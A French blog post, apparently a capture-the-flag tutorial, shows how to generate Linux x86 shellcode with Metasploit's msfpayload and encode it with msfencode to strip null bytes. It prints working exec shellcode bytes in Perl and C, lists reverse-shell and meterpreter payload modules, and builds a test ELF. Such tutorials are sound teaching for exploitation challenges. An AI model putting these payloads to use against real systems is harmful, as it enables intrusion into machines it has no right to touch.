Shellcodes sous Metasploit

Le Shellcode du faignant…

Si comme moi dans un bon vieux chall avec la pile executable vous en avez un peu marre de copier coller du shellcode depuis ShellStorm puis d’aller éditer laborieusement en hexa un /bin//sh pour le convertir en /tmp//go pour vos propres besoins, n’oubliez pas que MetaSploit est votre ami pour la vie.

Il peut générer au vol tout une gamme de shellcode (tcp, reverse tcp, exec etc…) pour une grande variété d’os et à destination du langage de programmation de votre choix.

Le générateur de shellcode dispose de son propre executable. “msfpayload”. L’option “-l” liste tous les shellcode disponibles, un grep vous aidera à trouver vos amis pour la vie

cyanide:/metasploit# ./msfpayload -l | grep linux/x86
linux/x86/adduser Create a new user with UID 0
linux/x86/chmod Runs chmod on specified file with specified mode
linux/x86/exec Execute an arbitrary command
linux/x86/meterpreter/bind_ipv6_tcp Listen for a connection over IPv6, Staged meterpreter server
linux/x86/meterpreter/bind_nonx_tcp Listen for a connection, Staged meterpreter server
linux/x86/meterpreter/bind_tcp Listen for a connection, Staged meterpreter server
linux/x86/meterpreter/find_tag Use an established connection, Staged meterpreter server
linux/x86/meterpreter/reverse_ipv6_tcp Connect back to attacker over IPv6, Staged meterpreter server
linux/x86/meterpreter/reverse_nonx_tcp Connect back to the attacker, Staged meterpreter server
linux/x86/meterpreter/reverse_tcp Connect back to the attacker, Staged meterpreter server
...
linux/x86/shell_find_port Spawn a shell on an established connection
linux/x86/shell_find_tag Spawn a shell on an established connection (proxy/nat safe)
linux/x86/shell_reverse_tcp Connect back to attacker and spawn a command shell
linux/x86/shell_reverse_tcp2 Connect back to attacker and spawn a command shell

Bon ici moi ce qui m’intéresse c’est /linux/x86/exec, mais il faut lui passer des paramètres, pour savoir quels paramètres il veut c’est l’option O (moyen mnémotechnique «O»ptions :) )

cyanide:/metasploit# ./msfpayload linux/x86/exec O

Name: Linux Execute Command
Module: payload/linux/x86/exec
Version: 14774
Platform: Linux
Arch: x86
Needs Admin: No
Total size: 143
Rank: Normal

Provided by:
vlad902 <vlad902@gmail.com>

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CMD           yes The command string to execute

Description:
Execute an arbitrary command


Ici le seul paramêtre obligatoire est la commande à lancer (CMD). Il ne reste plus qu’a demander le shellcode dans le language de son choix, c en C, p en Perl, y en RubY etc…

En Perl :

cyanide:/metasploit# ./msfpayload linux/x86/exec CMD=/tmp/go p
# linux/x86/exec - 43 bytes
# http://www.metasploit.com
# PrependSetresgid=false, AppendExit=false,
# PrependSetgid=false, PrependChrootBreak=false,
# PrependSetresuid=false, CMD=/tmp/go, PrependSetregid=false,
# VERBOSE=false, PrependSetuid=false, PrependSetreuid=false
my $buf =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73" .
"\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x08\x00\x00" .
"\x00\x2f\x74\x6d\x70\x2f\x67\x6f\x00\x57\x53\x89\xe1\xcd" .
"\x80";

En C

cyanide:/metasploit# ./msfpayload linux/x86/exec CMD=/tmp/go c
/*
* linux/x86/exec - 43 bytes
* http://www.metasploit.com
* PrependSetresgid=false, AppendExit=false,
* PrependSetgid=false, PrependChrootBreak=false,
* PrependSetresuid=false, CMD=/tmp/go, PrependSetregid=false,
* VERBOSE=false, PrependSetuid=false, PrependSetreuid=false
*/
unsigned char buf[] =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x08\x00\x00\x00\x2f"
"\x74\x6d\x70\x2f\x67\x6f\x00\x57\x53\x89\xe1\xcd\x80";

C’est pas un truc de faignant cela, bon les puristes l’auront remarqués, Hé mec, il y a des 0x00 dans ton shellcode, c’est voué à l’échec … C’est vrai que c’est embettant pour tout shellcode que l’on fourrerais dans une string, et c’est là que msfencode apparaît lui, sa vie son oeuvre c’est d’encoder le shellcode au besoin.


cyanide:/metasploit#./msfencode -l

Framework Encoders
==================

Name Rank Description
---- ---- -----------
cmd/generic_sh good Generic Shell Variable Substitution Command Encoder
cmd/ifs low Generic ${IFS} Substitution Command Encoder
cmd/printf_php_mq manual printf(1) via PHP magic_quotes Utility Command Encoder
generic/none normal The "none" Encoder
mipsbe/longxor normal XOR Encoder
mipsle/longxor normal XOR Encoder
php/base64 great PHP Base64 Encoder
ppc/longxor normal PPC LongXOR Encoder
ppc/longxor_tag normal PPC LongXOR Encoder
sparc/longxor_tag normal SPARC DWORD XOR Encoder
x64/xor normal XOR Encoder
x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder
x86/avoid_underscore_tolower manual Avoid underscore/tolower
x86/avoid_utf8_tolower manual Avoid UTF8/tolower
x86/call4_dword_xor normal Call+4 Dword XOR Encoder
x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder
x86/context_stat manual stat(2)-based Context Keyed Payload Encoder
x86/context_time manual time(2)-based Context Keyed Payload Encoder
x86/countdown normal Single-byte XOR Countdown Encoder
x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder
x86/nonalpha low Non-Alpha Encoder
x86/nonupper low Non-Upper Encoder
x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder
x86/single_static_bit manual Single Static Bit
x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder

Bon dans un premier temps fuyez les “manual”, l’utilisation est plus velue, jetons notre dévolu sur un “normal” exemple countdown ou le furieux shikata ga nai (alias «on ne peut plus rien y faire».. oui moi aussi j’ai lu mars la rouge !). il suffit de piper la sortie RAW dans msfencode (avec l’option R), puis dans l’encodeur d’utiliser «-e» pour spécifier l’encodeur et «-t» pour la sortie…(oui metasploit me semble affreusement peut normalisé au niveau des commandes)


cyanide:/metasploit#./msfpayload linux/x86/exec CMD=/tmp/go R | ./msfencode -e x86/countdown -t perl
[*] x86/countdown succeeded with size 59 (iteration=1)

my $buf =
"\x6a\x2a\x59\xe8\xff\xff\xff\xff\xc1\x5e\x30\x4c\x0e\x07" .
"\xe2\xfa\x6b\x09\x5b\x9d\x57\x60\x6f\x25\x6a\x83\xec\x64" .
"\x22\x7d\x67\x10\x79\x3d\x71\x7d\x7b\x9f\xf4\x4a\xf1\x12" .
"\x1b\x1c\x1d\x31\x6b\x4d\x51\x0d\x44\x4b\x25\x71\x74\xa1" .
"\xc8\xe7\xab";

On a pris quelque octets pour l’encodage, mais plus de 0x00. Là ou c’est sympas c’est que l’on peut directement pondre un exécutable pour tester…«-o» pour spécifier le fichier de sortie.


cyanide:/metasploit#./msfpayload linux/x86/exec CMD=/tmp/go R | ./msfencode -e x86/countdown -t elf -o /tmp/shellcode

[*] x86/countdown succeeded with size 59 (iteration=1)

cyanide:/metasploit# chmod +x /tmp/shellcode
cyanide:/metasploit# /tmp/shellcode
/bin/sh: /tmp/go: not found

Ca maAAAaaaaAArche, … bon juste que j’ai pas créé l’executable dans tmp.. Zuut. !

Allez Noyeux Joel ! et bon Shells de faignasse…

This entry was posted in Challenge, Hacking and tagged , , . Bookmark the permalink.

Leave a Reply

Your email address will not be published. Required fields are marked *

AlphaOmega Captcha Classica  –  Enter Security Code